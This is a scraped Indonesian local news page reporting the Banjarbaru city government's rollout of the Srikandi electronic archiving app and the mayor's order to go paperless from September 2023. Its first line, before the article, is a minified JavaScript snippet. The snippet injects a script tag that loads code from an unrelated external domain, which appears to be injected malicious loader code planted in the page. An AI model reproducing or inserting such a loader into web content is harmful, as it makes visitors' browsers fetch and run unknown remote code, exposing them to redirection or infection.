(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pelayanan administrasi pemerintah berbasis elektronik, Pemerintah Kota (Pemko) Banjarbaru mewujudkan layanan digital berkas fisik berbentuk kertas tak lagi dipergunakan.
Penyerahan akun resmi aplikasi Sistem Informasi Kearsipan Dinamis Terintegrasi (Srikandi) berlangsung di aula Gawi Sabarataan, Balai Kota Banjarbaru, Senin (14/8/2023).
Wali Kota Banjarbaru HM Aditya Mufti Ariffin mengatakan, Pemko Banjarbaru sudah memulai invonasi yang dinamakan aplikasi Srikandi.
“Jadi aplikasi ini memudahkan kita bekerja, tidak mengenal waktu, tidak mengenal tempat dimanapun dan kapanpun kita bisa bekerja,” ujarnya.
Baca juga: Siaga Bencana Karhutla, Ini Pesan Wali Kota Banjarbaru
“Jadi ulun (Saya, red) minta aplikasi Srikandi ini benar-benar digunakan, dan ulun minta juga per tanggal 1 September 2023 ulun tidak menerima surat berbentuk berkas (Kertas, red) lagi. Kita sudah menggunakan paperless, dikecualikan untuk hal-hal tertentu,” tegasnya.
Masih lanjut Aditya, dirinya juga meminta agar segera diterapkan disetiap SKPD se Kota Banjarbaru.
“Maka dari itu ulun minta semua agar aplikasi ini tolong disampaikan kepada bawahan-bawahan di setiap SKPD, agar semuanya disosialisasikan dan diedukasi,” ujarnya.
Baca juga: Tiga Terdakwa Kasus Korupsi Bendungan Tapin Tak Hadirkan Saksi Meringankan
Sekadar diketahui, aplikasi Srikandi ini merupakan instumen pengelolaan arsip dinamis yang berdasarkan pada Perpres Nomor 95 tahun 2018 Tentang Sistem Pemerintahan Berbasis Elektronik (SPBE).
Dan untuk di lingkungan Pemko Banjarbaru aplikasi ini kolaborasi antara Dinas Perpustakaan dan Kearsipan dengan Dinas Komunikasi dan Informatika Kota Banjarbaru.
Aplikasi Srikandi ini yakni menciptakan kelancaran dalam persyaratan dan kearsipan secara elektronik yang efektif dalam penyelenggaraan pemerintahan dalam memudahkan pelayanan kepada masyarakat. “Aplikasi ini juga untuk kebutuhan pembuatan surat dan arsip elektronik secara online dan integrasi,” kata Wali Kota.
Baca juga: Bisa Lewati Misi Sulit Lawan Persib Bandung
Sistem dalam aplikasi Srikandi ini memiliki banyak manfaat karena sudah tidak lagi menggunakan kertas namun menggunakan paperless, tanda tangan sudah menggunakan tanda tangan elektronik bisa diakses secara online. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kabupaten Banjar menerima Piagam Penghargaan dari Kementerian Hukum (Kemenkum) RI, di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pos Bantuan Hukum (Posbankum) Kelurahan Telaga Biru menjadi titik tinjauan Kementerian Hukum… Read More
KANALKALIMANTAN.COM, JAKARTA - Dalam rangka memperkuat sinergi dan konsolidasi program pembangunan infrastruktur lintas sektor dan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kementerian Hukum (Kemenkum) RI mengapresiasi sarana prasarana (sarpras) di Pos Bantuan Hukum… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More
This website uses cookies.